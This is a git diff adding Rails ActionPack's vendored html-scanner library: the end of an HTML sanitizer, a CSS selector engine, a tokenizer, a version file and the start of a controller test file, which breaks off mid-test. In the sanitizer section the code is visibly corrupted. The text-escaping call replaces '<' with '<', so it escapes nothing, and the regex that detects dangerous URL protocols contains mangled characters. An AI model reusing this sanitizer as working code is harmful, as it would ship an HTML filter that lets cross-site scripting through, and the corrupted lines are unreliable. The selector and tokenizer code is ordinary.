+ keyword !~ /\A(#[0-9a-f]+|rgb\(\d+%?,\d*%?,?\d*%?\)?|\d{0,2}\.?\d{0,2}(cm|em|ex|in|mm|pc|pt|px|%|,|\))?)\z/
+ end
+ clean << prop + ': ' + val + ';'
+ end
+ end
+ end
+ clean.join(' ')
+ end
+
+ protected
+ def tokenize(text, options)
+ options[:parent] = []
+ options[:attributes] ||= allowed_attributes
+ options[:tags] ||= allowed_tags
+ super
+ end
+
+ def process_node(node, result, options)
+ result << case node
+ when HTML::Tag
+ if node.closing == :close
+ options[:parent].shift
+ else
+ options[:parent].unshift node.name
+ end
+
+ process_attributes_for node, options
+
+ options[:tags].include?(node.name) ? node : nil
+ else
+ bad_tags.include?(options[:parent].first) ? nil : node.to_s.gsub(/</, "<")
+ end
+ end
+
+ def process_attributes_for(node, options)
+ return unless node.attributes
+ node.attributes.keys.each do |attr_name|
+ value = node.attributes[attr_name].to_s
+
+ if !options[:attributes].include?(attr_name) || contains_bad_protocols?(attr_name, value)
+ node.attributes.delete(attr_name)
+ else
+ node.attributes[attr_name] = attr_name == 'style' ? sanitize_css(value) : CGI::escapeHTML(CGI::unescapeHTML(value))
+ end
+ end
+ end
+
+ def contains_bad_protocols?(attr_name, value)
+ uri_attributes.include?(attr_name) &&
+ (value =~ /(^[^\/:]*):|(�*58)|(p)|(�*3a)|(%|%)3A/i && !allowed_protocols.include?(value.split(protocol_separator).first.downcase.strip))
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/vendor/html-scanner/html/selector.rb b/actionpack/lib/action_view/vendor/html-scanner/html/selector.rb
new file mode 100644
index 0000000..7f8609c
--- /dev/null
+++ b/actionpack/lib/action_view/vendor/html-scanner/html/selector.rb
@@ -0,0 +1,830 @@
+#--
+# Copyright (c) 2006 Assaf Arkin (http://labnotes.org)
+# Under MIT and/or CC By license.
+#++
+
+module HTML
+
+ # Selects HTML elements using CSS 2 selectors.
+ #
+ # The +Selector+ class uses CSS selector expressions to match and select
+ # HTML elements.
+ #
+ # For example:
+ # selector = HTML::Selector.new "form.login[action=/login]"
+ # creates a new selector that matches any +form+ element with the class
+ # +login+ and an attribute +action+ with the value <tt>/login</tt>.
+ #
+ # === Matching Elements
+ #
+ # Use the #match method to determine if an element matches the selector.
+ #
+ # For simple selectors, the method returns an array with that element,
+ # or +nil+ if the element does not match. For complex selectors (see below)
+ # the method returns an array with all matched elements, of +nil+ if no
+ # match found.
+ #
+ # For example:
+ # if selector.match(element)
+ # puts "Element is a login form"
+ # end
+ #
+ # === Selecting Elements
+ #
+ # Use the #select method to select all matching elements starting with
+ # one element and going through all children in depth-first order.
+ #
+ # This method returns an array of all matching elements, an empty array
+ # if no match is found
+ #
+ # For example:
+ # selector = HTML::Selector.new "input[type=text]"
+ # matches = selector.select(element)
+ # matches.each do |match|
+ # puts "Found text field with name #{match.attributes['name']}"
+ # end
+ #
+ # === Expressions
+ #
+ # Selectors can match elements using any of the following criteria:
+ # * <tt>name</tt> -- Match an element based on its name (tag name).
+ # For example, <tt>p</tt> to match a paragraph. You can use <tt>*</tt>
+ # to match any element.
+ # * <tt>#</tt><tt>id</tt> -- Match an element based on its identifier (the
+ # <tt>id</tt> attribute). For example, <tt>#</tt><tt>page</tt>.
+ # * <tt>.class</tt> -- Match an element based on its class name, all
+ # class names if more than one specified.
+ # * <tt>[attr]</tt> -- Match an element that has the specified attribute.
+ # * <tt>[attr=value]</tt> -- Match an element that has the specified
+ # attribute and value. (More operators are supported see below)
+ # * <tt>:pseudo-class</tt> -- Match an element based on a pseudo class,
+ # such as <tt>:nth-child</tt> and <tt>:empty</tt>.
+ # * <tt>:not(expr)</tt> -- Match an element that does not match the
+ # negation expression.
+ #
+ # When using a combination of the above, the element name comes first
+ # followed by identifier, class names, attributes, pseudo classes and
+ # negation in any order. Do not separate these parts with spaces!
+ # Space separation is used for descendant selectors.
+ #
+ # For example:
+ # selector = HTML::Selector.new "form.login[action=/login]"
+ # The matched element must be of type +form+ and have the class +login+.
+ # It may have other classes, but the class +login+ is required to match.
+ # It must also have an attribute called +action+ with the value
+ # <tt>/login</tt>.
+ #
+ # This selector will match the following element:
+ # <form class="login form" method="post" action="/login">
+ # but will not match the element:
+ # <form method="post" action="/logout">
+ #
+ # === Attribute Values
+ #
+ # Several operators are supported for matching attributes:
+ # * <tt>name</tt> -- The element must have an attribute with that name.
+ # * <tt>name=value</tt> -- The element must have an attribute with that
+ # name and value.
+ # * <tt>name^=value</tt> -- The attribute value must start with the
+ # specified value.
+ # * <tt>name$=value</tt> -- The attribute value must end with the
+ # specified value.
+ # * <tt>name*=value</tt> -- The attribute value must contain the
+ # specified value.
+ # * <tt>name~=word</tt> -- The attribute value must contain the specified
+ # word (space separated).
+ # * <tt>name|=word</tt> -- The attribute value must start with specified
+ # word.
+ #
+ # For example, the following two selectors match the same element:
+ # #my_id
+ # [id=my_id]
+ # and so do the following two selectors:
+ # .my_class
+ # [class~=my_class]
+ #
+ # === Alternatives, siblings, children
+ #
+ # Complex selectors use a combination of expressions to match elements:
+ # * <tt>expr1 expr2</tt> -- Match any element against the second expression
+ # if it has some parent element that matches the first expression.
+ # * <tt>expr1 > expr2</tt> -- Match any element against the second expression
+ # if it is the child of an element that matches the first expression.
+ # * <tt>expr1 + expr2</tt> -- Match any element against the second expression
+ # if it immediately follows an element that matches the first expression.
+ # * <tt>expr1 ~ expr2</tt> -- Match any element against the second expression
+ # that comes after an element that matches the first expression.
+ # * <tt>expr1, expr2</tt> -- Match any element against the first expression,
+ # or against the second expression.
+ #
+ # Since children and sibling selectors may match more than one element given
+ # the first element, the #match method may return more than one match.
+ #
+ # === Pseudo classes
+ #
+ # Pseudo classes were introduced in CSS 3. They are most often used to select
+ # elements in a given position:
+ # * <tt>:root</tt> -- Match the element only if it is the root element
+ # (no parent element).
+ # * <tt>:empty</tt> -- Match the element only if it has no child elements,
+ # and no text content.
+ # * <tt>:content(string)</tt> -- Match the element only if it has <tt>string</tt>
+ # as its text content (ignoring leading and trailing whitespace).
+ # * <tt>:only-child</tt> -- Match the element if it is the only child (element)
+ # of its parent element.
+ # * <tt>:only-of-type</tt> -- Match the element if it is the only child (element)
+ # of its parent element and its type.
+ # * <tt>:first-child</tt> -- Match the element if it is the first child (element)
+ # of its parent element.
+ # * <tt>:first-of-type</tt> -- Match the element if it is the first child (element)
+ # of its parent element of its type.
+ # * <tt>:last-child</tt> -- Match the element if it is the last child (element)
+ # of its parent element.
+ # * <tt>:last-of-type</tt> -- Match the element if it is the last child (element)
+ # of its parent element of its type.
+ # * <tt>:nth-child(b)</tt> -- Match the element if it is the b-th child (element)
+ # of its parent element. The value <tt>b</tt> specifies its index, starting with 1.
+ # * <tt>:nth-child(an+b)</tt> -- Match the element if it is the b-th child (element)
+ # in each group of <tt>a</tt> child elements of its parent element.
+ # * <tt>:nth-child(-an+b)</tt> -- Match the element if it is the first child (element)
+ # in each group of <tt>a</tt> child elements, up to the first <tt>b</tt> child
+ # elements of its parent element.
+ # * <tt>:nth-child(odd)</tt> -- Match element in the odd position (i.e. first, third).
+ # Same as <tt>:nth-child(2n+1)</tt>.
+ # * <tt>:nth-child(even)</tt> -- Match element in the even position (i.e. second,
+ # fourth). Same as <tt>:nth-child(2n+2)</tt>.
+ # * <tt>:nth-of-type(..)</tt> -- As above, but only counts elements of its type.
+ # * <tt>:nth-last-child(..)</tt> -- As above, but counts from the last child.
+ # * <tt>:nth-last-of-type(..)</tt> -- As above, but counts from the last child and
+ # only elements of its type.
+ # * <tt>:not(selector)</tt> -- Match the element only if the element does not
+ # match the simple selector.
+ #
+ # As you can see, <tt>:nth-child</tt> pseudo class and its variant can get quite
+ # tricky and the CSS specification doesn't do a much better job explaining it.
+ # But after reading the examples and trying a few combinations, it's easy to
+ # figure out.
+ #
+ # For example:
+ # table tr:nth-child(odd)
+ # Selects every second row in the table starting with the first one.
+ #
+ # div p:nth-child(4)
+ # Selects the fourth paragraph in the +div+, but not if the +div+ contains
+ # other elements, since those are also counted.
+ #
+ # div p:nth-of-type(4)
+ # Selects the fourth paragraph in the +div+, counting only paragraphs, and
+ # ignoring all other elements.
+ #
+ # div p:nth-of-type(-n+4)
+ # Selects the first four paragraphs, ignoring all others.
+ #
+ # And you can always select an element that matches one set of rules but
+ # not another using <tt>:not</tt>. For example:
+ # p:not(.post)
+ # Matches all paragraphs that do not have the class <tt>.post</tt>.
+ #
+ # === Substitution Values
+ #
+ # You can use substitution with identifiers, class names and element values.
+ # A substitution takes the form of a question mark (<tt>?</tt>) and uses the
+ # next value in the argument list following the CSS expression.
+ #
+ # The substitution value may be a string or a regular expression. All other
+ # values are converted to strings.
+ #
+ # For example:
+ # selector = HTML::Selector.new "#?", /^\d+$/
+ # matches any element whose identifier consists of one or more digits.
+ #
+ # See http://www.w3.org/TR/css3-selectors/
+ class Selector
+
+
+ # An invalid selector.
+ class InvalidSelectorError < StandardError #:nodoc:
+ end
+
+
+ class << self
+
+ # :call-seq:
+ # Selector.for_class(cls) => selector
+ #
+ # Creates a new selector for the given class name.
+ def for_class(cls)
+ self.new([".?", cls])
+ end
+
+
+ # :call-seq:
+ # Selector.for_id(id) => selector
+ #
+ # Creates a new selector for the given id.
+ def for_id(id)
+ self.new(["#?", id])
+ end
+
+ end
+
+
+ # :call-seq:
+ # Selector.new(string, [values ...]) => selector
+ #
+ # Creates a new selector from a CSS 2 selector expression.
+ #
+ # The first argument is the selector expression. All other arguments
+ # are used for value substitution.
+ #
+ # Throws InvalidSelectorError is the selector expression is invalid.
+ def initialize(selector, *values)
+ raise ArgumentError, "CSS expression cannot be empty" if selector.empty?
+ @source = ""
+ values = values[0] if values.size == 1 && values[0].is_a?(Array)
+
+ # We need a copy to determine if we failed to parse, and also
+ # preserve the original pass by-ref statement.
+ statement = selector.strip.dup
+
+ # Create a simple selector, along with negation.
+ simple_selector(statement, values).each { |name, value| instance_variable_set("@#{name}", value) }
+
+ @alternates = []
+ @depends = nil
+
+ # Alternative selector.
+ if statement.sub!(/^\s*,\s*/, "")
+ second = Selector.new(statement, values)
+ @alternates << second
+ # If there are alternate selectors, we group them in the top selector.
+ if alternates = second.instance_variable_get(:@alternates)
+ second.instance_variable_set(:@alternates, [])
+ @alternates.concat alternates
+ end
+ @source << " , " << second.to_s
+ # Sibling selector: create a dependency into second selector that will
+ # match element immediately following this one.
+ elsif statement.sub!(/^\s*\+\s*/, "")
+ second = next_selector(statement, values)
+ @depends = lambda do |element, first|
+ if element = next_element(element)
+ second.match(element, first)
+ end
+ end
+ @source << " + " << second.to_s
+ # Adjacent selector: create a dependency into second selector that will
+ # match all elements following this one.
+ elsif statement.sub!(/^\s*~\s*/, "")
+ second = next_selector(statement, values)
+ @depends = lambda do |element, first|
+ matches = []
+ while element = next_element(element)
+ if subset = second.match(element, first)
+ if first && !subset.empty?
+ matches << subset.first
+ break
+ else
+ matches.concat subset
+ end
+ end
+ end
+ matches.empty? ? nil : matches
+ end
+ @source << " ~ " << second.to_s
+ # Child selector: create a dependency into second selector that will
+ # match a child element of this one.
+ elsif statement.sub!(/^\s*>\s*/, "")
+ second = next_selector(statement, values)
+ @depends = lambda do |element, first|
+ matches = []
+ element.children.each do |child|
+ if child.tag? && subset = second.match(child, first)
+ if first && !subset.empty?
+ matches << subset.first
+ break
+ else
+ matches.concat subset
+ end
+ end
+ end
+ matches.empty? ? nil : matches
+ end
+ @source << " > " << second.to_s
+ # Descendant selector: create a dependency into second selector that
+ # will match all descendant elements of this one. Note,
+ elsif statement =~ /^\s+\S+/ && statement != selector
+ second = next_selector(statement, values)
+ @depends = lambda do |element, first|
+ matches = []
+ stack = element.children.reverse
+ while node = stack.pop
+ next unless node.tag?
+ if subset = second.match(node, first)
+ if first && !subset.empty?
+ matches << subset.first
+ break
+ else
+ matches.concat subset
+ end
+ elsif children = node.children
+ stack.concat children.reverse
+ end
+ end
+ matches.empty? ? nil : matches
+ end
+ @source << " " << second.to_s
+ else
+ # The last selector is where we check that we parsed
+ # all the parts.
+ unless statement.empty? || statement.strip.empty?
+ raise ArgumentError, "Invalid selector: #{statement}"
+ end
+ end
+ end
+
+
+ # :call-seq:
+ # match(element, first?) => array or nil
+ #
+ # Matches an element against the selector.
+ #
+ # For a simple selector this method returns an array with the
+ # element if the element matches, nil otherwise.
+ #
+ # For a complex selector (sibling and descendant) this method
+ # returns an array with all matching elements, nil if no match is
+ # found.
+ #
+ # Use +first_only=true+ if you are only interested in the first element.
+ #
+ # For example:
+ # if selector.match(element)
+ # puts "Element is a login form"
+ # end
+ def match(element, first_only = false)
+ # Match element if no element name or element name same as element name
+ if matched = (!@tag_name || @tag_name == element.name)
+ # No match if one of the attribute matches failed
+ for attr in @attributes
+ if element.attributes[attr[0]] !~ attr[1]
+ matched = false
+ break
+ end
+ end
+ end
+
+ # Pseudo class matches (nth-child, empty, etc).
+ if matched
+ for pseudo in @pseudo
+ unless pseudo.call(element)
+ matched = false
+ break
+ end
+ end
+ end
+
+ # Negation. Same rules as above, but we fail if a match is made.
+ if matched && @negation
+ for negation in @negation
+ if negation[:tag_name] == element.name
+ matched = false
+ else
+ for attr in negation[:attributes]
+ if element.attributes[attr[0]] =~ attr[1]
+ matched = false
+ break
+ end
+ end
+ end
+ if matched
+ for pseudo in negation[:pseudo]
+ if pseudo.call(element)
+ matched = false
+ break
+ end
+ end
+ end
+ break unless matched
+ end
+ end
+
+ # If element matched but depends on another element (child,
+ # sibling, etc), apply the dependent matches instead.
+ if matched && @depends
+ matches = @depends.call(element, first_only)
+ else
+ matches = matched ? [element] : nil
+ end
+
+ # If this selector is part of the group, try all the alternative
+ # selectors (unless first_only).
+ if !first_only || !matches
+ @alternates.each do |alternate|
+ break if matches && first_only
+ if subset = alternate.match(element, first_only)
+ if matches
+ matches.concat subset
+ else
+ matches = subset
+ end
+ end
+ end
+ end
+
+ matches
+ end
+
+
+ # :call-seq:
+ # select(root) => array
+ #
+ # Selects and returns an array with all matching elements, beginning
+ # with one node and traversing through all children depth-first.
+ # Returns an empty array if no match is found.
+ #
+ # The root node may be any element in the document, or the document
+ # itself.
+ #
+ # For example:
+ # selector = HTML::Selector.new "input[type=text]"
+ # matches = selector.select(element)
+ # matches.each do |match|
+ # puts "Found text field with name #{match.attributes['name']}"
+ # end
+ def select(root)
+ matches = []
+ stack = [root]
+ while node = stack.pop
+ if node.tag? && subset = match(node, false)
+ subset.each do |match|
+ matches << match unless matches.any? { |item| item.equal?(match) }
+ end
+ elsif children = node.children
+ stack.concat children.reverse
+ end
+ end
+ matches
+ end
+
+
+ # Similar to #select but returns the first matching element. Returns +nil+
+ # if no element matches the selector.
+ def select_first(root)
+ stack = [root]
+ while node = stack.pop
+ if node.tag? && subset = match(node, true)
+ return subset.first if !subset.empty?
+ elsif children = node.children
+ stack.concat children.reverse
+ end
+ end
+ nil
+ end
+
+
+ def to_s #:nodoc:
+ @source
+ end
+
+
+ # Return the next element after this one. Skips sibling text nodes.
+ #
+ # With the +name+ argument, returns the next element with that name,
+ # skipping other sibling elements.
+ def next_element(element, name = nil)
+ if siblings = element.parent.children
+ found = false
+ siblings.each do |node|
+ if node.equal?(element)
+ found = true
+ elsif found && node.tag?
+ return node if (name.nil? || node.name == name)
+ end
+ end
+ end
+ nil
+ end
+
+
+ protected
+
+
+ # Creates a simple selector given the statement and array of
+ # substitution values.
+ #
+ # Returns a hash with the values +tag_name+, +attributes+,
+ # +pseudo+ (classes) and +negation+.
+ #
+ # Called the first time with +can_negate+ true to allow
+ # negation. Called a second time with false since negation
+ # cannot be negated.
+ def simple_selector(statement, values, can_negate = true)
+ tag_name = nil
+ attributes = []
+ pseudo = []
+ negation = []
+
+ # Element name. (Note that in negation, this can come at
+ # any order, but for simplicity we allow if only first).
+ statement.sub!(/^(\*|[[:alpha:]][\w\-]*)/) do |match|
+ match.strip!
+ tag_name = match.downcase unless match == "*"
+ @source << match
+ "" # Remove
+ end
+
+ # Get identifier, class, attribute name, pseudo or negation.
+ while true
+ # Element identifier.
+ next if statement.sub!(/^#(\?|[\w\-]+)/) do
+ id = $1
+ if id == "?"
+ id = values.shift
+ end
+ @source << "##{id}"
+ id = Regexp.new("^#{Regexp.escape(id.to_s)}$") unless id.is_a?(Regexp)
+ attributes << ["id", id]
+ "" # Remove
+ end
+
+ # Class name.
+ next if statement.sub!(/^\.([\w\-]+)/) do
+ class_name = $1
+ @source << ".#{class_name}"
+ class_name = Regexp.new("(^|\s)#{Regexp.escape(class_name)}($|\s)") unless class_name.is_a?(Regexp)
+ attributes << ["class", class_name]
+ "" # Remove
+ end
+
+ # Attribute value.
+ next if statement.sub!(/^\[\s*([[:alpha:]][\w\-:]*)\s*((?:[~|^$*])?=)?\s*('[^']*'|"[^*]"|[^\]]*)\s*\]/) do
+ name, equality, value = $1, $2, $3
+ if value == "?"
+ value = values.shift
+ else
+ # Handle single and double quotes.
+ value.strip!
+ if (value[0] == ?" || value[0] == ?') && value[0] == value[-1]
+ value = value[1..-2]
+ end
+ end
+ @source << "[#{name}#{equality}'#{value}']"
+ attributes << [name.downcase.strip, attribute_match(equality, value)]
+ "" # Remove
+ end
+
+ # Root element only.
+ next if statement.sub!(/^:root/) do
+ pseudo << lambda do |element|
+ element.parent.nil? || !element.parent.tag?
+ end
+ @source << ":root"
+ "" # Remove
+ end
+
+ # Nth-child including last and of-type.
+ next if statement.sub!(/^:nth-(last-)?(child|of-type)\((odd|even|(\d+|\?)|(-?\d*|\?)?n([+\-]\d+|\?)?)\)/) do |match|
+ reverse = $1 == "last-"
+ of_type = $2 == "of-type"
+ @source << ":nth-#{$1}#{$2}("
+ case $3
+ when "odd"
+ pseudo << nth_child(2, 1, of_type, reverse)
+ @source << "odd)"
+ when "even"
+ pseudo << nth_child(2, 2, of_type, reverse)
+ @source << "even)"
+ when /^(\d+|\?)$/ # b only
+ b = ($1 == "?" ? values.shift : $1).to_i
+ pseudo << nth_child(0, b, of_type, reverse)
+ @source << "#{b})"
+ when /^(-?\d*|\?)?n([+\-]\d+|\?)?$/
+ a = ($1 == "?" ? values.shift :
+ $1 == "" ? 1 : $1 == "-" ? -1 : $1).to_i
+ b = ($2 == "?" ? values.shift : $2).to_i
+ pseudo << nth_child(a, b, of_type, reverse)
+ @source << (b >= 0 ? "#{a}n+#{b})" : "#{a}n#{b})")
+ else
+ raise ArgumentError, "Invalid nth-child #{match}"
+ end
+ "" # Remove
+ end
+ # First/last child (of type).
+ next if statement.sub!(/^:(first|last)-(child|of-type)/) do
+ reverse = $1 == "last"
+ of_type = $2 == "of-type"
+ pseudo << nth_child(0, 1, of_type, reverse)
+ @source << ":#{$1}-#{$2}"
+ "" # Remove
+ end
+ # Only child (of type).
+ next if statement.sub!(/^:only-(child|of-type)/) do
+ of_type = $1 == "of-type"
+ pseudo << only_child(of_type)
+ @source << ":only-#{$1}"
+ "" # Remove
+ end
+
+ # Empty: no child elements or meaningful content (whitespaces
+ # are ignored).
+ next if statement.sub!(/^:empty/) do
+ pseudo << lambda do |element|
+ empty = true
+ for child in element.children
+ if child.tag? || !child.content.strip.empty?
+ empty = false
+ break
+ end
+ end
+ empty
+ end
+ @source << ":empty"
+ "" # Remove
+ end
+ # Content: match the text content of the element, stripping
+ # leading and trailing spaces.
+ next if statement.sub!(/^:content\(\s*(\?|'[^']*'|"[^"]*"|[^)]*)\s*\)/) do
+ content = $1
+ if content == "?"
+ content = values.shift
+ elsif (content[0] == ?" || content[0] == ?') && content[0] == content[-1]
+ content = content[1..-2]
+ end
+ @source << ":content('#{content}')"
+ content = Regexp.new("^#{Regexp.escape(content.to_s)}$") unless content.is_a?(Regexp)
+ pseudo << lambda do |element|
+ text = ""
+ for child in element.children
+ unless child.tag?
+ text << child.content
+ end
+ end
+ text.strip =~ content
+ end
+ "" # Remove
+ end
+
+ # Negation. Create another simple selector to handle it.
+ if statement.sub!(/^:not\(\s*/, "")
+ raise ArgumentError, "Double negatives are not missing feature" unless can_negate
+ @source << ":not("
+ negation << simple_selector(statement, values, false)
+ raise ArgumentError, "Negation not closed" unless statement.sub!(/^\s*\)/, "")
+ @source << ")"
+ next
+ end
+
+ # No match: moving on.
+ break
+ end
+
+ # Return hash. The keys are mapped to instance variables.
+ {:tag_name=>tag_name, :attributes=>attributes, :pseudo=>pseudo, :negation=>negation}
+ end
+
+
+ # Create a regular expression to match an attribute value based
+ # on the equality operator (=, ^=, |=, etc).
+ def attribute_match(equality, value)
+ regexp = value.is_a?(Regexp) ? value : Regexp.escape(value.to_s)
+ case equality
+ when "=" then
+ # Match the attribute value in full
+ Regexp.new("^#{regexp}$")
+ when "~=" then
+ # Match a space-separated word within the attribute value
+ Regexp.new("(^|\s)#{regexp}($|\s)")
+ when "^="
+ # Match the beginning of the attribute value
+ Regexp.new("^#{regexp}")
+ when "$="
+ # Match the end of the attribute value
+ Regexp.new("#{regexp}$")
+ when "*="
+ # Match substring of the attribute value
+ regexp.is_a?(Regexp) ? regexp : Regexp.new(regexp)
+ when "|=" then
+ # Match the first space-separated item of the attribute value
+ Regexp.new("^#{regexp}($|\s)")
+ else
+ raise InvalidSelectorError, "Invalid operation/value" unless value.empty?
+ # Match all attributes values (existence check)
+ //
+ end
+ end
+
+
+ # Returns a lambda that can match an element against the nth-child
+ # pseudo class, given the following arguments:
+ # * +a+ -- Value of a part.
+ # * +b+ -- Value of b part.
+ # * +of_type+ -- True to test only elements of this type (of-type).
+ # * +reverse+ -- True to count in reverse order (last-).
+ def nth_child(a, b, of_type, reverse)
+ # a = 0 means select at index b, if b = 0 nothing selected
+ return lambda { |element| false } if a == 0 && b == 0
+ # a < 0 and b < 0 will never match against an index
+ return lambda { |element| false } if a < 0 && b < 0
+ b = a + b + 1 if b < 0 # b < 0 just picks last element from each group
+ b -= 1 unless b == 0 # b == 0 is same as b == 1, otherwise zero based
+ lambda do |element|
+ # Element must be inside parent element.
+ return false unless element.parent && element.parent.tag?
+ index = 0
+ # Get siblings, reverse if counting from last.
+ siblings = element.parent.children
+ siblings = siblings.reverse if reverse
+ # Match element name if of-type, otherwise ignore name.
+ name = of_type ? element.name : nil
+ found = false
+ for child in siblings
+ # Skip text nodes/comments.
+ if child.tag? && (name == nil || child.name == name)
+ if a == 0
+ # Shortcut when a == 0 no need to go past count
+ if index == b
+ found = child.equal?(element)
+ break
+ end
+ elsif a < 0
+ # Only look for first b elements
+ break if index > b
+ if child.equal?(element)
+ found = (index % a) == 0
+ break
+ end
+ else
+ # Otherwise, break if child found and count == an+b
+ if child.equal?(element)
+ found = (index % a) == b
+ break
+ end
+ end
+ index += 1
+ end
+ end
+ found
+ end
+ end
+
+
+ # Creates a only child lambda. Pass +of-type+ to only look at
+ # elements of its type.
+ def only_child(of_type)
+ lambda do |element|
+ # Element must be inside parent element.
+ return false unless element.parent && element.parent.tag?
+ name = of_type ? element.name : nil
+ other = false
+ for child in element.parent.children
+ # Skip text nodes/comments.
+ if child.tag? && (name == nil || child.name == name)
+ unless child.equal?(element)
+ other = true
+ break
+ end
+ end
+ end
+ !other
+ end
+ end
+
+
+ # Called to create a dependent selector (sibling, descendant, etc).
+ # Passes the remainder of the statement that will be reduced to zero
+ # eventually, and array of substitution values.
+ #
+ # This method is called from four places, so it helps to put it here
+ # for reuse. The only logic deals with the need to detect comma
+ # separators (alternate) and apply them to the selector group of the
+ # top selector.
+ def next_selector(statement, values)
+ second = Selector.new(statement, values)
+ # If there are alternate selectors, we group them in the top selector.
+ if alternates = second.instance_variable_get(:@alternates)
+ second.instance_variable_set(:@alternates, [])
+ @alternates.concat alternates
+ end
+ second
+ end
+
+ end
+
+
+ # See HTML::Selector.new
+ def self.selector(statement, *values)
+ Selector.new(statement, *values)
+ end
+
+
+ class Tag
+
+ def select(selector, *values)
+ selector = HTML::Selector.new(selector, values)
+ selector.select(self)
+ end
+
+ end
+
+end
diff --git a/actionpack/lib/action_view/vendor/html-scanner/html/tokenizer.rb b/actionpack/lib/action_view/vendor/html-scanner/html/tokenizer.rb
new file mode 100644
index 0000000..8ac8d34
--- /dev/null
+++ b/actionpack/lib/action_view/vendor/html-scanner/html/tokenizer.rb
@@ -0,0 +1,107 @@
+require 'strscan'
+
+module HTML #:nodoc:
+
+ # A simple HTML tokenizer. It simply breaks a stream of text into tokens, where each
+ # token is a string. Each string represents either "text", or an HTML element.
+ #
+ # This currently assumes valid XHTML, which means no free < or > characters.
+ #
+ # Usage:
+ #
+ # tokenizer = HTML::Tokenizer.new(text)
+ # while token = tokenizer.next
+ # p token
+ # end
+ class Tokenizer #:nodoc:
+
+ # The current (byte) position in the text
+ attr_reader :position
+
+ # The current line number
+ attr_reader :line
+
+ # Create a new Tokenizer for the given text.
+ def initialize(text)
+ text.encode!
+ @scanner = StringScanner.new(text)
+ @position = 0
+ @line = 0
+ @current_line = 1
+ end
+
+ # Return the next token in the sequence, or +nil+ if there are no more tokens in
+ # the stream.
+ def next
+ return nil if @scanner.eos?
+ @position = @scanner.pos
+ @line = @current_line
+ if @scanner.check(/<\S/)
+ update_current_line(scan_tag)
+ else
+ update_current_line(scan_text)
+ end
+ end
+
+ private
+
+ # Treat the text at the current position as a tag, and scan it. Supports
+ # comments, doctype tags, and regular tags, and ignores less-than and
+ # greater-than characters within quoted strings.
+ def scan_tag
+ tag = @scanner.getch
+ if @scanner.scan(/!--/) # comment
+ tag << @scanner.matched
+ tag << (@scanner.scan_until(/--\s*>/) || @scanner.scan_until(/\Z/))
+ elsif @scanner.scan(/!\[CDATA\[/)
+ tag << @scanner.matched
+ tag << (@scanner.scan_until(/\]\]>/) || @scanner.scan_until(/\Z/))
+ elsif @scanner.scan(/!/) # doctype
+ tag << @scanner.matched
+ tag << consume_quoted_regions
+ else
+ tag << consume_quoted_regions
+ end
+ tag
+ end
+
+ # Scan all text up to the next < character and return it.
+ def scan_text
+ "#{@scanner.getch}#{@scanner.scan(/[^<]*/)}"
+ end
+
+ # Counts the number of newlines in the text and updates the current line
+ # accordingly.
+ def update_current_line(text)
+ text.scan(/\r?\n/) { @current_line += 1 }
+ end
+
+ # Skips over quoted strings, so that less-than and greater-than characters
+ # within the strings are ignored.
+ def consume_quoted_regions
+ text = ""
+ loop do
+ match = @scanner.scan_until(/['"<>]/) or break
+
+ delim = @scanner.matched
+ if delim == "<"
+ match = match.chop
+ @scanner.pos -= 1
+ end
+
+ text << match
+ break if delim == "<" || delim == ">"
+
+ # consume the quoted region
+ while match = @scanner.scan_until(/[\\#{delim}]/)
+ text << match
+ break if @scanner.matched == delim
+ break if @scanner.eos?
+ text << @scanner.getch # skip the escaped character
+ end
+ end
+ text
+ end
+ end
+
+end
diff --git a/actionpack/lib/action_view/vendor/html-scanner/html/version.rb b/actionpack/lib/action_view/vendor/html-scanner/html/version.rb
new file mode 100644
index 0000000..6d645c3
--- /dev/null
+++ b/actionpack/lib/action_view/vendor/html-scanner/html/version.rb
@@ -0,0 +1,11 @@
+module HTML #:nodoc:
+ module Version #:nodoc:
+
+ MAJOR = 0
+ MINOR = 5
+ TINY = 3
+
+ STRING = [ MAJOR, MINOR, TINY ].join(".")
+
+ end
+end
diff --git a/actionpack/test/abstract/abstract_controller_test.rb b/actionpack/test/abstract/abstract_controller_test.rb
new file mode 100644
index 0000000..eb9143c
--- /dev/null
+++ b/actionpack/test/abstract/abstract_controller_test.rb
@@ -0,0 +1,261 @@
+require 'abstract_unit'
+require 'set'
+
+module AbstractController
+ module Testing
+
+ # Test basic dispatching.
+ # ====
+ # * Call process
+ # * Test that the response_body is set correctly
+ class SimpleController < AbstractController::Base
+ end
+
+ class Me < SimpleController
+ def index
+ self.response_body = "Hello world"
+ "Something else"
+ end
+ end
+
+ class TestBasic < ActiveSupport::TestCase
+ test "dispatching works" do
+ controller = Me.new
+ controller.process(:index)
+ assert_equal "Hello world", controller.response_body
+ end
+ end
+
+ # Test Render mixin
+ # ====
+ class RenderingController < AbstractController::Base
+ include AbstractController::Rendering
+
+ def _prefixes
+ []
+ end
+
+ def render(options = {})
+ if options.is_a?(String)
+ options = {:_template_name => options}
+ end
+ super
+ end
+
+ append_view_path File.expand_path(File.join(File.dirname(__FILE__), "views"))
+ end
+
+ class Me2 < RenderingController
+ def index
+ render "index.erb"
+ end
+
+ def index_to_string
+ self.response_body = render_to_string "index"
+ end
+
+ def action_with_ivars
+ @my_ivar = "Hello"
+ render "action_with_ivars.erb"
+ end
+
+ def naked_render
+ render
+ end
+
+ def rendering_to_body
+ self.response_body = render_to_body :template => "naked_render"
+ end
+
+ def rendering_to_string
+ self.response_body = render_to_string :template => "naked_render"
+ end
+ end
+
+ class TestRenderingController < ActiveSupport::TestCase
+ def setup
+ @controller = Me2.new
+ end
+
+ test "rendering templates works" do
+ @controller.process(:index)
+ assert_equal "Hello from index.erb", @controller.response_body
+ end
+
+ test "render_to_string works with a String as an argument" do
+ @controller.process(:index_to_string)
+ assert_equal "Hello from index.erb", @controller.response_body
+ end
+
+ test "rendering passes ivars to the view" do
+ @controller.process(:action_with_ivars)
+ assert_equal "Hello from index_with_ivars.erb", @controller.response_body
+ end
+
+ test "rendering with no template name" do
+ @controller.process(:naked_render)
+ assert_equal "Hello from naked_render.erb", @controller.response_body
+ end
+
+ test "rendering to a rack body" do
+ @controller.process(:rendering_to_body)
+ assert_equal "Hello from naked_render.erb", @controller.response_body
+ end
+
+ test "rendering to a string" do
+ @controller.process(:rendering_to_string)
+ assert_equal "Hello from naked_render.erb", @controller.response_body
+ end
+ end
+
+ # Test rendering with prefixes
+ # ====
+ # * self._prefix is used when defined
+ class PrefixedViews < RenderingController
+ private
+ def self.prefix
+ name.underscore
+ end
+
+ def _prefixes
+ [self.class.prefix]
+ end
+ end
+
+ class Me3 < PrefixedViews
+ def index
+ render
+ end
+
+ def formatted
